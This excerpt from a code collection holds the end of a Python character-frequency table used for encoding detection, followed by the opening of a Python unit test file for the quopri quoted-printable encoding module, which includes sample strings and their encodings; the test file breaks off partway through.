544, 461,6189, 566, 209,2437,3398,2098,1065,2068,3331,3626,3257,2137, # 4368 #last 512 #Everything below is of no interest for detection purpose 2138,2122,3730,2888,1995,1820,1044,6190,6191,6192,6193,6194,6195,6196,6197,6198, # 4384 6199,6200,6201,6202,6203,6204,6205,4670,6206,6207,6208,6209,6210,6211,6212,6213, # 4400 6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,6224,6225,6226,6227,6228,6229, # 4416 6230,6231,6232,6233,6234,6235,6236,6237,3187,6238,6239,3969,6240,6241,6242,6243, # 4432 6244,4671,6245,6246,4672,6247,6248,4133,6249,6250,4364,6251,2923,2556,2613,4673, # 4448 4365,3970,6252,6253,6254,6255,4674,6256,6257,6258,2768,2353,4366,4675,4676,3188, # 4464 4367,3463,6259,4134,4677,4678,6260,2267,6261,3842,3332,4368,3543,6262,6263,6264, # 4480 3013,1954,1928,4135,4679,6265,6266,2478,3091,6267,4680,4369,6268,6269,1699,6270, # 4496 3544,4136,4681,6271,4137,6272,4370,2804,6273,6274,2593,3971,3972,4682,6275,2236, # 4512 4683,6276,6277,4684,6278,6279,4138,3973,4685,6280,6281,3258,6282,6283,6284,6285, # 4528 3974,4686,2841,3975,6286,6287,3545,6288,6289,4139,4687,4140,6290,4141,6291,4142, # 4544 6292,6293,3333,6294,6295,6296,4371,6297,3399,6298,6299,4372,3976,6300,6301,6302, # 4560 4373,6303,6304,3843,3731,6305,4688,4374,6306,6307,3259,2294,6308,3732,2530,4143, # 4576 6309,4689,6310,6311,6312,3048,6313,6314,4690,3733,2237,6315,6316,2282,3334,6317, # 4592 6318,3844,6319,6320,4691,6321,3400,4692,6322,4693,6323,3049,6324,4375,6325,3977, # 4608 6326,6327,6328,3546,6329,4694,3335,6330,4695,4696,6331,6332,6333,6334,4376,3978, # 4624 6335,4697,3979,4144,6336,3980,4698,6337,6338,6339,6340,6341,4699,4700,4701,6342, # 4640 6343,4702,6344,6345,4703,6346,6347,4704,6348,4705,4706,3135,6349,4707,6350,4708, # 4656 6351,4377,6352,4709,3734,4145,6353,2506,4710,3189,6354,3050,4711,3981,6355,3547, # 4672 3014,4146,4378,3735,2651,3845,3260,3136,2224,1986,6356,3401,6357,4712,2594,3627, # 4688 3137,2573,3736,3982,4713,3628,4714,4715,2682,3629,4716,6358,3630,4379,3631,6359, # 4704 6360,6361,3983,6362,6363,6364,6365,4147,3846,4717,6366,6367,3737,2842,6368,4718, # 4720 2628,6369,3261,6370,2386,6371,6372,3738,3984,4719,3464,4720,3402,6373,2924,3336, # 4736 4148,2866,6374,2805,3262,4380,2704,2069,2531,3138,2806,2984,6375,2769,6376,4721, # 4752 4722,3403,6377,6378,3548,6379,6380,2705,3092,1979,4149,2629,3337,2889,6381,3338, # 4768 4150,2557,3339,4381,6382,3190,3263,3739,6383,4151,4723,4152,2558,2574,3404,3191, # 4784 6384,6385,4153,6386,4724,4382,6387,6388,4383,6389,6390,4154,6391,4725,3985,6392, # 4800 3847,4155,6393,6394,6395,6396,6397,3465,6398,4384,6399,6400,6401,6402,6403,6404, # 4816 4156,6405,6406,6407,6408,2123,6409,6410,2326,3192,4726,6411,6412,6413,6414,4385, # 4832 4157,6415,6416,4158,6417,3093,3848,6418,3986,6419,6420,3849,6421,6422,6423,4159, # 4848 6424,6425,4160,6426,3740,6427,6428,6429,6430,3987,6431,4727,6432,2238,6433,6434, # 4864 4386,3988,6435,6436,3632,6437,6438,2843,6439,6440,6441,6442,3633,6443,2958,6444, # 4880 6445,3466,6446,2364,4387,3850,6447,4388,2959,3340,6448,3851,6449,4728,6450,6451, # 4896 3264,4729,6452,3193,6453,4389,4390,2706,3341,4730,6454,3139,6455,3194,6456,3051, # 4912 2124,3852,1602,4391,4161,3853,1158,3854,4162,3989,4392,3990,4731,4732,4393,2040, # 4928 4163,4394,3265,6457,2807,3467,3855,6458,6459,6460,3991,3468,4733,4734,6461,3140, # 4944 2960,6462,4735,6463,6464,6465,6466,4736,4737,4738,4739,6467,6468,4164,2403,3856, # 4960 6469,6470,2770,2844,6471,4740,6472,6473,6474,6475,6476,6477,6478,3195,6479,4741, # 4976 4395,6480,2867,6481,4742,2808,6482,2493,4165,6483,6484,6485,6486,2295,4743,6487, # 4992 6488,6489,3634,6490,6491,6492,6493,6494,6495,6496,2985,4744,6497,6498,4745,6499, # 5008 6500,2925,3141,4166,6501,6502,4746,6503,6504,4747,6505,6506,6507,2890,6508,6509, # 5024 6510,6511,6512,6513,6514,6515,6516,6517,6518,6519,3469,4167,6520,6521,6522,4748, # 5040 4396,3741,4397,4749,4398,3342,2125,4750,6523,4751,4752,4753,3052,6524,2961,4168, # 5056 6525,4754,6526,4755,4399,2926,4169,6527,3857,6528,4400,4170,6529,4171,6530,6531, # 5072 2595,6532,6533,6534,6535,3635,6536,6537,6538,6539,6540,6541,6542,4756,6543,6544, # 5088 6545,6546,6547,6548,4401,6549,6550,6551,6552,4402,3405,4757,4403,6553,6554,6555, # 5104 4172,3742,6556,6557,6558,3992,3636,6559,6560,3053,2726,6561,3549,4173,3054,4404, # 5120 6562,6563,3993,4405,3266,3550,2809,4406,6564,6565,6566,4758,4759,6567,3743,6568, # 5136 4760,3744,4761,3470,6569,6570,6571,4407,6572,3745,4174,6573,4175,2810,4176,3196, # 5152 4762,6574,4177,6575,6576,2494,2891,3551,6577,6578,3471,6579,4408,6580,3015,3197, # 5168 6581,3343,2532,3994,3858,6582,3094,3406,4409,6583,2892,4178,4763,4410,3016,4411, # 5184 6584,3995,3142,3017,2683,6585,4179,6586,6587,4764,4412,6588,6589,4413,6590,2986, # 5200 6591,2962,3552,6592,2963,3472,6593,6594,4180,4765,6595,6596,2225,3267,4414,6597, # 5216 3407,3637,4766,6598,6599,3198,6600,4415,6601,3859,3199,6602,3473,4767,2811,4416, # 5232 1856,3268,3200,2575,3996,3997,3201,4417,6603,3095,2927,6604,3143,6605,2268,6606, # 5248 3998,3860,3096,2771,6607,6608,3638,2495,4768,6609,3861,6610,3269,2745,4769,4181, # 5264 3553,6611,2845,3270,6612,6613,6614,3862,6615,6616,4770,4771,6617,3474,3999,4418, # 5280 4419,6618,3639,3344,6619,4772,4182,6620,2126,6621,6622,6623,4420,4773,6624,3018, # 5296 6625,4774,3554,6626,4183,2025,3746,6627,4184,2707,6628,4421,4422,3097,1775,4185, # 5312 3555,6629,6630,2868,6631,6632,4423,6633,6634,4424,2414,2533,2928,6635,4186,2387, # 5328 6636,4775,6637,4187,6638,1891,4425,3202,3203,6639,6640,4776,6641,3345,6642,6643, # 5344 3640,6644,3475,3346,3641,4000,6645,3144,6646,3098,2812,4188,3642,3204,6647,3863, # 5360 3476,6648,3864,6649,4426,4001,6650,6651,6652,2576,6653,4189,4777,6654,6655,6656, # 5376 2846,6657,3477,3205,4002,6658,4003,6659,3347,2252,6660,6661,6662,4778,6663,6664, # 5392 6665,6666,6667,6668,6669,4779,4780,2048,6670,3478,3099,6671,3556,3747,4004,6672, # 5408 6673,6674,3145,4005,3748,6675,6676,6677,6678,6679,3408,6680,6681,6682,6683,3206, # 5424 3207,6684,6685,4781,4427,6686,4782,4783,4784,6687,6688,6689,4190,6690,6691,3479, # 5440 6692,2746,6693,4428,6694,6695,6696,6697,6698,6699,4785,6700,6701,3208,2727,6702, # 5456 3146,6703,6704,3409,2196,6705,4429,6706,6707,6708,2534,1996,6709,6710,6711,2747, # 5472 6712,6713,6714,4786,3643,6715,4430,4431,6716,3557,6717,4432,4433,6718,6719,6720, # 5488 6721,3749,6722,4006,4787,6723,6724,3644,4788,4434,6725,6726,4789,2772,6727,6728, # 5504 6729,6730,6731,2708,3865,2813,4435,6732,6733,4790,4791,3480,6734,6735,6736,6737, # 5520 4436,3348,6738,3410,4007,6739,6740,4008,6741,6742,4792,3411,4191,6743,6744,6745, # 5536 6746,6747,3866,6748,3750,6749,6750,6751,6752,6753,6754,6755,3867,6756,4009,6757, # 5552 4793,4794,6758,2814,2987,6759,6760,6761,4437,6762,6763,6764,6765,3645,6766,6767, # 5568 3481,4192,6768,3751,6769,6770,2174,6771,3868,3752,6772,6773,6774,4193,4795,4438, # 5584 3558,4796,4439,6775,4797,6776,6777,4798,6778,4799,3559,4800,6779,6780,6781,3482, # 5600 6782,2893,6783,6784,4194,4801,4010,6785,6786,4440,6787,4011,6788,6789,6790,6791, # 5616 6792,6793,4802,6794,6795,6796,4012,6797,6798,6799,6800,3349,4803,3483,6801,4804, # 5632 4195,6802,4013,6803,6804,4196,6805,4014,4015,6806,2847,3271,2848,6807,3484,6808, # 5648 6809,6810,4441,6811,4442,4197,4443,3272,4805,6812,3412,4016,1579,6813,6814,4017, # 5664 6815,3869,6816,2964,6817,4806,6818,6819,4018,3646,6820,6821,4807,4019,4020,6822, # 5680 6823,3560,6824,6825,4021,4444,6826,4198,6827,6828,4445,6829,6830,4199,4808,6831, # 5696 6832,6833,3870,3019,2458,6834,3753,3413,3350,6835,4809,3871,4810,3561,4446,6836, # 5712 6837,4447,4811,4812,6838,2459,4448,6839,4449,6840,6841,4022,3872,6842,4813,4814, # 5728 6843,6844,4815,4200,4201,4202,6845,4023,6846,6847,4450,3562,3873,6848,6849,4816, # 5744 4817,6850,4451,4818,2139,6851,3563,6852,6853,3351,6854,6855,3352,4024,2709,3414, # 5760 4203,4452,6856,4204,6857,6858,3874,3875,6859,6860,4819,6861,6862,6863,6864,4453, # 5776 3647,6865,6866,4820,6867,6868,6869,6870,4454,6871,2869,6872,6873,4821,6874,3754, # 5792 6875,4822,4205,6876,6877,6878,3648,4206,4455,6879,4823,6880,4824,3876,6881,3055, # 5808 4207,6882,3415,6883,6884,6885,4208,4209,6886,4210,3353,6887,3354,3564,3209,3485, # 5824 2652,6888,2728,6889,3210,3755,6890,4025,4456,6891,4825,6892,6893,6894,6895,4211, # 5840 6896,6897,6898,4826,6899,6900,4212,6901,4827,6902,2773,3565,6903,4828,6904,6905, # 5856 6906,6907,3649,3650,6908,2849,3566,6909,3567,3100,6910,6911,6912,6913,6914,6915, # 5872 4026,6916,3355,4829,3056,4457,3756,6917,3651,6918,4213,3652,2870,6919,4458,6920, # 5888 2438,6921,6922,3757,2774,4830,6923,3356,4831,4832,6924,4833,4459,3653,2507,6925, # 5904 4834,2535,6926,6927,3273,4027,3147,6928,3568,6929,6930,6931,4460,6932,3877,4461, # 5920 2729,3654,6933,6934,6935,6936,2175,4835,2630,4214,4028,4462,4836,4215,6937,3148, # 5936 4216,4463,4837,4838,4217,6938,6939,2850,4839,6940,4464,6941,6942,6943,4840,6944, # 5952 4218,3274,4465,6945,6946,2710,6947,4841,4466,6948,6949,2894,6950,6951,4842,6952, # 5968 4219,3057,2871,6953,6954,6955,6956,4467,6957,2711,6958,6959,6960,3275,3101,4843, # 5984 6961,3357,3569,6962,4844,6963,6964,4468,4845,3570,6965,3102,4846,3758,6966,4847, # 6000 3878,4848,4849,4029,6967,2929,3879,4850,4851,6968,6969,1733,6970,4220,6971,6972, # 6016 6973,6974,6975,6976,4852,6977,6978,6979,6980,6981,6982,3759,6983,6984,6985,3486, # 6032 3487,6986,3488,3416,6987,6988,6989,6990,6991,6992,6993,6994,6995,6996,6997,4853, # 6048 6998,6999,4030,7000,7001,3211,7002,7003,4221,7004,7005,3571,4031,7006,3572,7007, # 6064 2614,4854,2577,7008,7009,2965,3655,3656,4855,2775,3489,3880,4222,4856,3881,4032, # 6080 3882,3657,2730,3490,4857,7010,3149,7011,4469,4858,2496,3491,4859,2283,7012,7013, # 6096 7014,2365,4860,4470,7015,7016,3760,7017,7018,4223,1917,7019,7020,7021,4471,7022, # 6112 2776,4472,7023,7024,7025,7026,4033,7027,3573,4224,4861,4034,4862,7028,7029,1929, # 6128 3883,4035,7030,4473,3058,7031,2536,3761,3884,7032,4036,7033,2966,2895,1968,4474, # 6144 3276,4225,3417,3492,4226,2105,7034,7035,1754,2596,3762,4227,4863,4475,3763,4864, # 6160 3764,2615,2777,3103,3765,3658,3418,4865,2296,3766,2815,7036,7037,7038,3574,2872, # 6176 3277,4476,7039,4037,4477,7040,7041,4038,7042,7043,7044,7045,7046,7047,2537,7048, # 6192 7049,7050,7051,7052,7053,7054,4478,7055,7056,3767,3659,4228,3575,7057,7058,4229, # 6208 7059,7060,7061,3660,7062,3212,7063,3885,4039,2460,7064,7065,7066,7067,7068,7069, # 6224 7070,7071,7072,7073,7074,4866,3768,4867,7075,7076,7077,7078,4868,3358,3278,2653, # 6240 7079,7080,4479,3886,7081,7082,4869,7083,7084,7085,7086,7087,7088,2538,7089,7090, # 6256 7091,4040,3150,3769,4870,4041,2896,3359,4230,2930,7092,3279,7093,2967,4480,3213, # 6272 4481,3661,7094,7095,7096,7097,7098,7099,7100,7101,7102,2461,3770,7103,7104,4231, # 6288 3151,7105,7106,7107,4042,3662,7108,7109,4871,3663,4872,4043,3059,7110,7111,7112, # 6304 3493,2988,7113,4873,7114,7115,7116,3771,4874,7117,7118,4232,4875,7119,3576,2336, # 6320 4876,7120,4233,3419,4044,4877,4878,4482,4483,4879,4484,4234,7121,3772,4880,1045, # 6336 3280,3664,4881,4882,7122,7123,7124,7125,4883,7126,2778,7127,4485,4486,7128,4884, # 6352 3214,3887,7129,7130,3215,7131,4885,4045,7132,7133,4046,7134,7135,7136,7137,7138, # 6368 7139,7140,7141,7142,7143,4235,7144,4886,7145,7146,7147,4887,7148,7149,7150,4487, # 6384 4047,4488,7151,7152,4888,4048,2989,3888,7153,3665,7154,4049,7155,7156,7157,7158, # 6400 7159,7160,2931,4889,4890,4489,7161,2631,3889,4236,2779,7162,7163,4891,7164,3060, # 6416 7165,1672,4892,7166,4893,4237,3281,4894,7167,7168,3666,7169,3494,7170,7171,4050, # 6432 7172,7173,3104,3360,3420,4490,4051,2684,4052,7174,4053,7175,7176,7177,2253,4054, # 6448 7178,7179,4895,7180,3152,3890,3153,4491,3216,7181,7182,7183,2968,4238,4492,4055, # 6464 7184,2990,7185,2479,7186,7187,4493,7188,7189,7190,7191,7192,4896,7193,4897,2969, # 6480 4494,4898,7194,3495,7195,7196,4899,4495,7197,3105,2731,7198,4900,7199,7200,7201, # 6496 4056,7202,3361,7203,7204,4496,4901,4902,7205,4497,7206,7207,2315,4903,7208,4904, # 6512 7209,4905,2851,7210,7211,3577,7212,3578,4906,7213,4057,3667,4907,7214,4058,2354, # 6528 3891,2376,3217,3773,7215,7216,7217,7218,7219,4498,7220,4908,3282,2685,7221,3496, # 6544 4909,2632,3154,4910,7222,2337,7223,4911,7224,7225,7226,4912,4913,3283,4239,4499, # 6560 7227,2816,7228,7229,7230,7231,7232,7233,7234,4914,4500,4501,7235,7236,7237,2686, # 6576 7238,4915,7239,2897,4502,7240,4503,7241,2516,7242,4504,3362,3218,7243,7244,7245, # 6592 4916,7246,7247,4505,3363,7248,7249,7250,7251,3774,4506,7252,7253,4917,7254,7255, # 6608 3284,2991,4918,4919,3219,3892,4920,3106,3497,4921,7256,7257,7258,4922,7259,4923, # 6624 3364,4507,4508,4059,7260,4240,3498,7261,7262,4924,7263,2992,3893,4060,3220,7264, # 6640 7265,7266,7267,7268,7269,4509,3775,7270,2817,7271,4061,4925,4510,3776,7272,4241, # 6656 4511,3285,7273,7274,3499,7275,7276,7277,4062,4512,4926,7278,3107,3894,7279,7280, # 6672 4927,7281,4513,7282,7283,3668,7284,7285,4242,4514,4243,7286,2058,4515,4928,4929, # 6688 4516,7287,3286,4244,7288,4517,7289,7290,7291,3669,7292,7293,4930,4931,4932,2355, # 6704 4933,7294,2633,4518,7295,4245,7296,7297,4519,7298,7299,4520,4521,4934,7300,4246, # 6720 4522,7301,7302,7303,3579,7304,4247,4935,7305,4936,7306,7307,7308,7309,3777,7310, # 6736 4523,7311,7312,7313,4248,3580,7314,4524,3778,4249,7315,3581,7316,3287,7317,3221, # 6752 7318,4937,7319,7320,7321,7322,7323,7324,4938,4939,7325,4525,7326,7327,7328,4063, # 6768 7329,7330,4940,7331,7332,4941,7333,4526,7334,3500,2780,1741,4942,2026,1742,7335, # 6784 7336,3582,4527,2388,7337,7338,7339,4528,7340,4250,4943,7341,7342,7343,4944,7344, # 6800 7345,7346,3020,7347,4945,7348,7349,7350,7351,3895,7352,3896,4064,3897,7353,7354, # 6816 7355,4251,7356,7357,3898,7358,3779,7359,3780,3288,7360,7361,4529,7362,4946,4530, # 6832 2027,7363,3899,4531,4947,3222,3583,7364,4948,7365,7366,7367,7368,4949,3501,4950, # 6848 3781,4951,4532,7369,2517,4952,4252,4953,3155,7370,4954,4955,4253,2518,4533,7371, # 6864 7372,2712,4254,7373,7374,7375,3670,4956,3671,7376,2389,3502,4065,7377,2338,7378, # 6880 7379,7380,7381,3061,7382,4957,7383,7384,7385,7386,4958,4534,7387,7388,2993,7389, # 6896 3062,7390,4959,7391,7392,7393,4960,3108,4961,7394,4535,7395,4962,3421,4536,7396, # 6912 4963,7397,4964,1857,7398,4965,7399,7400,2176,3584,4966,7401,7402,3422,4537,3900, # 6928 3585,7403,3782,7404,2852,7405,7406,7407,4538,3783,2654,3423,4967,4539,7408,3784, # 6944 3586,2853,4540,4541,7409,3901,7410,3902,7411,7412,3785,3109,2327,3903,7413,7414, # 6960 2970,4066,2932,7415,7416,7417,3904,3672,3424,7418,4542,4543,4544,7419,4968,7420, # 6976 7421,4255,7422,7423,7424,7425,7426,4067,7427,3673,3365,4545,7428,3110,2559,3674, # 6992 7429,7430,3156,7431,7432,3503,7433,3425,4546,7434,3063,2873,7435,3223,4969,4547, # 7008 4548,2898,4256,4068,7436,4069,3587,3786,2933,3787,4257,4970,4971,3788,7437,4972, # 7024 3064,7438,4549,7439,7440,7441,7442,7443,4973,3905,7444,2874,7445,7446,7447,7448, # 7040 3021,7449,4550,3906,3588,4974,7450,7451,3789,3675,7452,2578,7453,4070,7454,7455, # 7056 7456,4258,3676,7457,4975,7458,4976,4259,3790,3504,2634,4977,3677,4551,4260,7459, # 7072 7460,7461,7462,3907,4261,4978,7463,7464,7465,7466,4979,4980,7467,7468,2213,4262, # 7088 7469,7470,7471,3678,4981,7472,2439,7473,4263,3224,3289,7474,3908,2415,4982,7475, # 7104 4264,7476,4983,2655,7477,7478,2732,4552,2854,2875,7479,7480,4265,7481,4553,4984, # 7120 7482,7483,4266,7484,3679,3366,3680,2818,2781,2782,3367,3589,4554,3065,7485,4071, # 7136 2899,7486,7487,3157,2462,4072,4555,4073,4985,4986,3111,4267,2687,3368,4556,4074, # 7152 3791,4268,7488,3909,2783,7489,2656,1962,3158,4557,4987,1963,3159,3160,7490,3112, # 7168 4988,4989,3022,4990,4991,3792,2855,7491,7492,2971,4558,7493,7494,4992,7495,7496, # 7184 7497,7498,4993,7499,3426,4559,4994,7500,3681,4560,4269,4270,3910,7501,4075,4995, # 7200 4271,7502,7503,4076,7504,4996,7505,3225,4997,4272,4077,2819,3023,7506,7507,2733, # 7216 4561,7508,4562,7509,3369,3793,7510,3590,2508,7511,7512,4273,3113,2994,2616,7513, # 7232 7514,7515,7516,7517,7518,2820,3911,4078,2748,7519,7520,4563,4998,7521,7522,7523, # 7248 7524,4999,4274,7525,4564,3682,2239,4079,4565,7526,7527,7528,7529,5000,7530,7531, # 7264 5001,4275,3794,7532,7533,7534,3066,5002,4566,3161,7535,7536,4080,7537,3162,7538, # 7280 7539,4567,7540,7541,7542,7543,7544,7545,5003,7546,4568,7547,7548,7549,7550,7551, # 7296 7552,7553,7554,7555,7556,5004,7557,7558,7559,5005,7560,3795,7561,4569,7562,7563, # 7312 7564,2821,3796,4276,4277,4081,7565,2876,7566,5006,7567,7568,2900,7569,3797,3912, # 7328 7570,7571,7572,4278,7573,7574,7575,5007,7576,7577,5008,7578,7579,4279,2934,7580, # 7344 7581,5009,7582,4570,7583,4280,7584,7585,7586,4571,4572,3913,7587,4573,3505,7588, # 7360 5010,7589,7590,7591,7592,3798,4574,7593,7594,5011,7595,4281,7596,7597,7598,4282, # 7376 5012,7599,7600,5013,3163,7601,5014,7602,3914,7603,7604,2734,4575,4576,4577,7605, # 7392 7606,7607,7608,7609,3506,5015,4578,7610,4082,7611,2822,2901,2579,3683,3024,4579, # 7408 3507,7612,4580,7613,3226,3799,5016,7614,7615,7616,7617,7618,7619,7620,2995,3290, # 7424 7621,4083,7622,5017,7623,7624,7625,7626,7627,4581,3915,7628,3291,7629,5018,7630, # 7440 7631,7632,7633,4084,7634,7635,3427,3800,7636,7637,4582,7638,5019,4583,5020,7639, # 7456 3916,7640,3801,5021,4584,4283,7641,7642,3428,3591,2269,7643,2617,7644,4585,3592, # 7472 7645,4586,2902,7646,7647,3227,5022,7648,4587,7649,4284,7650,7651,7652,4588,2284, # 7488 7653,5023,7654,7655,7656,4589,5024,3802,7657,7658,5025,3508,4590,7659,7660,7661, # 7504 1969,5026,7662,7663,3684,1821,2688,7664,2028,2509,4285,7665,2823,1841,7666,2689, # 7520 3114,7667,3917,4085,2160,5027,5028,2972,7668,5029,7669,7670,7671,3593,4086,7672, # 7536 4591,4087,5030,3803,7673,7674,7675,7676,7677,7678,7679,4286,2366,4592,4593,3067, # 7552 2328,7680,7681,4594,3594,3918,2029,4287,7682,5031,3919,3370,4288,4595,2856,7683, # 7568 3509,7684,7685,5032,5033,7686,7687,3804,2784,7688,7689,7690,7691,3371,7692,7693, # 7584 2877,5034,7694,7695,3920,4289,4088,7696,7697,7698,5035,7699,5036,4290,5037,5038, # 7600 5039,7700,7701,7702,5040,5041,3228,7703,1760,7704,5042,3229,4596,2106,4089,7705, # 7616 4597,2824,5043,2107,3372,7706,4291,4090,5044,7707,4091,7708,5045,3025,3805,4598, # 7632 4292,4293,4294,3373,7709,4599,7710,5046,7711,7712,5047,5048,3806,7713,7714,7715, # 7648 5049,7716,7717,7718,7719,4600,5050,7720,7721,7722,5051,7723,4295,3429,7724,7725, # 7664 7726,7727,3921,7728,3292,5052,4092,7729,7730,7731,7732,7733,7734,7735,5053,5054, # 7680 7736,7737,7738,7739,3922,3685,7740,7741,7742,7743,2635,5055,7744,5056,4601,7745, # 7696 7746,2560,7747,7748,7749,7750,3923,7751,7752,7753,7754,7755,4296,2903,7756,7757, # 7712 7758,7759,7760,3924,7761,5057,4297,7762,7763,5058,4298,7764,4093,7765,7766,5059, # 7728 3925,7767,7768,7769,7770,7771,7772,7773,7774,7775,7776,3595,7777,4299,5060,4094, # 7744 7778,3293,5061,7779,7780,4300,7781,7782,4602,7783,3596,7784,7785,3430,2367,7786, # 7760 3164,5062,5063,4301,7787,7788,4095,5064,5065,7789,3374,3115,7790,7791,7792,7793, # 7776 7794,7795,7796,3597,4603,7797,7798,3686,3116,3807,5066,7799,7800,5067,7801,7802, # 7792 4604,4302,5068,4303,4096,7803,7804,3294,7805,7806,5069,4605,2690,7807,3026,7808, # 7808 7809,7810,7811,7812,7813,7814,7815,7816,7817,7818,7819,7820,7821,7822,7823,7824, # 7824 7825,7826,7827,7828,7829,7830,7831,7832,7833,7834,7835,7836,7837,7838,7839,7840, # 7840 7841,7842,7843,7844,7845,7846,7847,7848,7849,7850,7851,7852,7853,7854,7855,7856, # 7856 7857,7858,7859,7860,7861,7862,7863,7864,7865,7866,7867,7868,7869,7870,7871,7872, # 7872 7873,7874,7875,7876,7877,7878,7879,7880,7881,7882,7883,7884,7885,7886,7887,7888, # 7888 7889,7890,7891,7892,7893,7894,7895,7896,7897,7898,7899,7900,7901,7902,7903,7904, # 7904 7905,7906,7907,7908,7909,7910,7911,7912,7913,7914,7915,7916,7917,7918,7919,7920, # 7920 7921,7922,7923,7924,3926,7925,7926,7927,7928,7929,7930,7931,7932,7933,7934,7935, # 7936 7936,7937,7938,7939,7940,7941,7942,7943,7944,7945,7946,7947,7948,7949,7950,7951, # 7952 7952,7953,7954,7955,7956,7957,7958,7959,7960,7961,7962,7963,7964,7965,7966,7967, # 7968 7968,7969,7970,7971,7972,7973,7974,7975,7976,7977,7978,7979,7980,7981,7982,7983, # 7984 7984,7985,7986,7987,7988,7989,7990,7991,7992,7993,7994,7995,7996,7997,7998,7999, # 8000 8000,8001,8002,8003,8004,8005,8006,8007,8008,8009,8010,8011,8012,8013,8014,8015, # 8016 8016,8017,8018,8019,8020,8021,8022,8023,8024,8025,8026,8027,8028,8029,8030,8031, # 8032 8032,8033,8034,8035,8036,8037,8038,8039,8040,8041,8042,8043,8044,8045,8046,8047, # 8048 8048,8049,8050,8051,8052,8053,8054,8055,8056,8057,8058,8059,8060,8061,8062,8063, # 8064 8064,8065,8066,8067,8068,8069,8070,8071,8072,8073,8074,8075,8076,8077,8078,8079, # 8080 8080,8081,8082,8083,8084,8085,8086,8087,8088,8089,8090,8091,8092,8093,8094,8095, # 8096 8096,8097,8098,8099,8100,8101,8102,8103,8104,8105,8106,8107,8108,8109,8110,8111, # 8112 8112,8113,8114,8115,8116,8117,8118,8119,8120,8121,8122,8123,8124,8125,8126,8127, # 8128 8128,8129,8130,8131,8132,8133,8134,8135,8136,8137,8138,8139,8140,8141,8142,8143, # 8144 8144,8145,8146,8147,8148,8149,8150,8151,8152,8153,8154,8155,8156,8157,8158,8159, # 8160 8160,8161,8162,8163,8164,8165,8166,8167,8168,8169,8170,8171,8172,8173,8174,8175, # 8176 8176,8177,8178,8179,8180,8181,8182,8183,8184,8185,8186,8187,8188,8189,8190,8191, # 8192 8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8203,8204,8205,8206,8207, # 8208 8208,8209,8210,8211,8212,8213,8214,8215,8216,8217,8218,8219,8220,8221,8222,8223, # 8224 8224,8225,8226,8227,8228,8229,8230,8231,8232,8233,8234,8235,8236,8237,8238,8239, # 8240 8240,8241,8242,8243,8244,8245,8246,8247,8248,8249,8250,8251,8252,8253,8254,8255, # 8256 8256,8257,8258,8259,8260,8261,8262,8263,8264,8265,8266,8267,8268,8269,8270,8271) # 8272 # flake8: noqa
mit
aabbox/kbengine
kbe/res/scripts/common/Lib/test/test_quopri.py
171
7715
from test import support import unittest import sys, os, io, subprocess import quopri ENCSAMPLE = b"""\ Here's a bunch of special=20 =A1=A2=A3=A4=A5=A6=A7=A8=A9 =AA=AB=AC=AD=AE=AF=B0=B1=B2=B3 =B4=B5=B6=B7=B8=B9=BA=BB=BC=BD=BE =BF=C0=C1=C2=C3=C4=C5=C6 =C7=C8=C9=CA=CB=CC=CD=CE=CF =D0=D1=D2=D3=D4=D5=D6=D7 =D8=D9=DA=DB=DC=DD=DE=DF =E0=E1=E2=E3=E4=E5=E6=E7 =E8=E9=EA=EB=EC=ED=EE=EF =F0=F1=F2=F3=F4=F5=F6=F7 =F8=F9=FA=FB=FC=FD=FE=FF characters... have fun! """ # First line ends with a space DECSAMPLE = b"Here's a bunch of special \n" + \ b"""\ \xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9 \xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3 \xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe \xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6 \xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf \xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7 \xd8\xd9\xda\xdb\xdc\xdd\xde\xdf \xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7 \xe8\xe9\xea\xeb\xec\xed\xee\xef \xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7 \xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff characters... have fun! """ def withpythonimplementation(testfunc): def newtest(self): # Test default implementation testfunc(self) # Test Python implementation if quopri.b2a_qp is not None or quopri.a2b_qp is not None: oldencode = quopri.b2a_qp olddecode = quopri.a2b_qp try: quopri.b2a_qp = None quopri.a2b_qp = None testfunc(self) finally: quopri.b2a_qp = oldencode quopri.a2b_qp = olddecode newtest.__name__ = testfunc.__name__ return newtest class QuopriTestCase(unittest.TestCase): # Each entry is a tuple of (plaintext, encoded string). These strings are # used in the "quotetabs=0" tests. STRINGS = ( # Some normal strings (b'hello', b'hello'), (b'''hello there world''', b'''hello there world'''), (b'''hello there world ''', b'''hello there world '''), (b'\201\202\203', b'=81=82=83'), # Add some trailing MUST QUOTE strings (b'hello ', b'hello=20'), (b'hello\t', b'hello=09'), # Some long lines. First, a single line of 108 characters (b'xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx\xd8\xd9\xda\xdb\xdc\xdd\xde\xdfxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx', b'''xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx=D8=D9=DA=DB=DC=DD=DE=DFx= xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx'''), # A line of exactly 76 characters, no soft line break should be needed (b'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy', b'yyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyyy'), # A line of 77 characters, forcing a soft line break at position 75, # and a second line of exactly 2 characters (because the soft line # break `=' sign counts against the line length limit). (b'zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz', b'''zzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzzz= zz'''), # A line of 151 characters, forcing a soft line break at position 75, # with a second line of exactly 76 characters and no trailing = 